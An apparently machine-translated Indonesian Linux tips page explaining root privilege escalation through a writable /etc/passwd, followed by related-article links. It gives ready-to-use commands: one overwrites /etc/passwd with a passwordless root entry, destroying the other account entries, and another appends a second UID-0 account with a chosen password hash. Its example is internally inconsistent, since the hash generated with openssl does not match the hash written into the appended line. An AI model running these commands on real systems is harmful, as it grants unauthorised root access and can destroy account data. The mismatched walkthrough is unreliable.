GNU/Linux >> Belajar Linux >  >> Linux

Eskalasi hak istimewa menggunakan file passwd

Kata sandi biasanya disimpan di /etc/shadow , yang tidak dapat dibaca oleh pengguna. Namun, secara historis, mereka disimpan dalam file yang dapat dibaca dunia /etc/passwd bersama dengan semua informasi akun. Untuk kompatibilitas mundur, jika ada hash kata sandi di kolom kedua di /etc/passwd , didahulukan dari yang ada di /etc/shadow .

Secara historis, kolom kedua kosong di /etc/passwd berarti akun tersebut tidak memiliki kata sandi, yaitu siapa saja dapat masuk tanpa kata sandi (digunakan untuk akun tamu). Ini terkadang dinonaktifkan. Jika akun tanpa kata sandi dinonaktifkan, Anda dapat memasukkan hash kata sandi pilihan Anda. Anda dapat menggunakan crypt berfungsi untuk menghasilkan hash kata sandi, misalnya perl -le 'print crypt("foo", "aa")' untuk menyetel kata sandi ke foo .

Dimungkinkan untuk mendapatkan akses root bahkan jika Anda hanya dapat menambahkan /etc/passwd dan tidak menimpa isinya. Itu karena dimungkinkan untuk memiliki banyak entri untuk pengguna yang sama, asalkan mereka memiliki nama yang berbeda — pengguna diidentifikasi dengan ID mereka, bukan dengan nama mereka, dan fitur yang menentukan akun root bukanlah namanya tetapi fakta bahwa itu memiliki ID pengguna 0. Jadi, Anda dapat membuat akun root alternatif dengan menambahkan baris yang mendeklarasikan akun dengan nama lain, sandi pilihan Anda, dan ID pengguna 0.


Cukup ketik:

echo root::0:0:root:/root:/bin/bash > /etc/passwd

su

dan Anda adalah root.

(Menghapus x berarti root tidak memerlukan kata sandi lagi, Anda dapat menggunakan sed perintah alih-alih echo namun ini cukup untuk mendapatkan root shell)


Anda dapat menggunakan metode non-destruktif ini:

# to generate hash of the password
openssl passwd mrcake
hKLD3431415ZE

# to create a second root user with "mrcake" password
echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> /etc/passwd

# to switch to a root2
su root2
Password: mrcake 

Linux
  1. Cara mengotomatiskan transfer file sftp menggunakan utilitas harapan

  2. Menggunakan perintah passwd dari dalam skrip shell

  3. Terhubung ke MySQL melalui baris perintah tanpa menggunakan kata sandi root?

  1. Memulai dengan ls

  2. Bagaimana Kami Mengubah Kata Sandi Root?

  3. Setel ulang kata sandi root MySQL

  1. Menggunakan nc untuk mentransfer file besar

  2. Mengizinkan eksekusi perintah otomatis sebagai root di Linux menggunakan SSH

  3. Apakah sudo dan .profile/.bashrc mengaktifkan eskalasi hak istimewa yang sepele?